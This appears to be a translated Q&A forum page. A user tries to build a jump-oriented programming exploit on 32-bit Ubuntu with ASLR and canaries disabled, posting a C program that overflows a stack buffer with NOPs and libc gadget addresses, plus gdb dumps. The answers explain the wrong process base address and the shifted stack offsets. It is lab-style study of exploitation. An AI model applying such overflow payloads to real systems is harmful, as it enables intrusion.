0

実際に、Ubuntu 12.10 32 ビットおよび Intel x86 アーキテクチャでジャンプ指向のプログラミング例を作成して実行しようとしています。ターゲット システムで実行する最初のガジェットは、POPA 命令で始まります。Cdump.txt ファイルから objdump -D /lib/libc.so.6 > Cdump.txt を使用してオフセット アドレスを見つけました。次に、脆弱なプログラムを gdb で実行し、次のコマンドを使用してプログラムの実行可能なセグメントの範囲を見つけました。

ps ax|grep vul 

21193 pts/2    S+     0:00 gdb vul

==>「gdb vul」のプロセス番号を調べる。

grep libc /proc/21193/maps

b7a4a000-b7bed000 r-xp 00000000 08:01 656054     /lib/i386-linux-gnu/libc-2.15.so

==>実行可能プログラムがメモリのどこにロードされているかを調べる。

私は命令のアドレスの任意のシーケンスを書き、ASLR と Canary 保護をオフにしました。これは、スタックをオーバーフローさせ、スタック内の "return" の内容を変更して JOP シーケンスをトリガーする単純なコードです。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main()
{
char Buff[4];
memcpy(Buff, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd5\x7a\xbb\xb7\xd6\x7a\xbb\xb7\xd8\x7a\xbb\xb7\xdb\x7a\xbb\xb7\x9c\xf6\xff\xbf\x00\x60\xfc\xb7\xcc\xf6\xff\xbf\x24\xf7\xff\xbf\xb4\xf6\xff\xbf", 52);
return;
}

プログラムをデバッグし、スタックの内容を監視し、情報を登録します。esp が (%ebp)+8 アドレスに到達するまでは問題ありません。これは、返された後のアドレスを意味します。この 4 バイトは、edi、esi、ebp、esp、ebx、edx、ecx、eax の順にロードされる POPA 命令に従って edi をロードする必要があります。

したがって、edi はこのアドレスでロードする必要があります = 0xB7BB7AD6 スタック内の戻りコンテンツは = 0xB7BB7AD5 (POPA アドレス)

しかし、memcpy() を終了しようとすると、次のメッセージが表示されます。

Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0xb7bb7ad6: Input/output error.

0xb7bb7ad5 in ?? ()

このエラーは何ですか? プログラムの制御フローをプロセスの実行可能メモリ内の別の命令に変更できないのはなぜですか?

より詳細な情報については、以下をご覧ください。

これは、スタックの上位 12 語です。

(gdb) x /12wx $esp-20
0xbffff67c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff68c: 0xb7bb7ad5  0xb7bb7ad6  0xb7bb7ad8  0xb7bb7adb
0xbffff69c: 0xbffff69c  0xb7fc6000  0xbffff6cc  0xbffff724

およびレジスタ:

(gdb) info registers
eax            0xbffff67c   -1073744260
ecx            0xbffff6b4   -1073744204
edx            0xbffff6b0   -1073744208
ebx            0xb7fc6000   -1208197120
esp            0xbffff690   0xbffff690
ebp            0x90909090   0x90909090
esi            0x0  0
edi            0x0  0
eip            0xb7bb7ad5   0xb7bb7ad5
eflags         0x200283 [ CF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
4

2 に答える 2

0

アドレス 0xB7BB7AD5 はあなたのプログラムのコードではなく、「libc-2.15.so」共有ライブラリのコードです。このメモリは保護されているため、そこに書き込むことはできません。

于 2013-08-21T04:50:08.387 に答える
0

まず、間違ったプロセス「gdb vul」を選択しましたが、これは vul 自体ではなく gdb のプロセスです。したがって、ベース アドレスは false であり、プロセスの実行可能セグメントにアドレス指定していませんでした。

次に、私のシェルに表示されるように、Buff と ebp の 4 バイトに書き込む無駄なバイトが 16 あります。これは、8 バイトの "\x90" (Buff[4] + ebp) を使用してプログラムをデバッグすると、スタックに挿入された値が本来あるべき場所より 8 バイト遅れているためです。Ubuntu 12.10 では、コンパイラが memcpy() を呼び出し、いくつかの値をスタックにプッシュすることを理解しています。これが、スタック内の値がシフトしているように見える理由です! しかし、Ubuntu 12.04 では、コンパイラは memcpy() を呼び出さず、コード自体に実装します。したがって、スタックに上書きされた値は、シフトすることなく正確な位置にあります。

于 2013-08-24T22:07:19.207 に答える